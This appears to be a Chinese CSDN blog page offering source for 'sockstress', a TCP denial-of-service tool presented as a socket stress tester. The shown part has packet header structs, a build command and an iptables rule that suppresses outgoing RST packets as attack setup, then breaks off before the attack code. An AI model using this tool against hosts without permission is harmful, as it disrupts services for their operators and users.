linux socket压力测试工具,sockstress 压力测试工具

本文介绍了一个名为sockstress的工具,该工具用于进行Linux Socket的压力测试。通过解析和重放网络包,sockstress可以模拟TCP SYN洪水攻击,以测试系统的承受能力。文章包含sockstress的源代码及主要功能的解释。
摘要由CSDN通过智能技术生成

//sockstress.h

#define ETHERNET_TYPE_IP 0x0800

#define IP_PROTO_TCP 6

struct ethernet_header{

unsigned char DstMac[6];

unsigned char SrcMac[6];

unsigned short Type;

};

struct ip_header{

#ifdef HLBR_LITTLE_ENDIAN

unsigned char ihl:4,

version:4;

#else

unsigned char version:4,

ihl:4;

#endif

unsigned char tos;

unsigned short tot_len;

unsigned short id;

unsigned short frag_off;

unsigned char ttl;

unsigned char protocol;

unsigned short check;

unsigned int saddr;

unsigned int daddr;

/*The options start here. */

};

struct tcp_header {

unsigned short source;

unsigned short dest;

unsigned int seq;

unsigned int ack_seq;

#ifdef HLBR_LITTLE_ENDIAN

unsigned short doff:4,

res1:4,

cwr:1,

ece:1,

urg:1,

ack:1,

psh:1,

rst:1,

syn:1,

fin:1;

#else

unsigned short res1:4,

doff:4,

fin:1,

syn:1,

rst:1,

psh:1,

ack:1,

urg:1,

ece:1,

cwr:1;

#endif

unsigned short window;

unsigned short check;

unsigned short urg_ptr;

};

/sockstress.c//

/*

depend libnet, libpcap

gcc sockstress.c -o sockstress -lpcap -lnet -lpthread -Wall

add iptables rule:

iptables -A OUTPUT -o eth0 -p tcp --tcp-flags RST,ACK,SYN RST -j DROP

*/

#include

#include

#incl

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值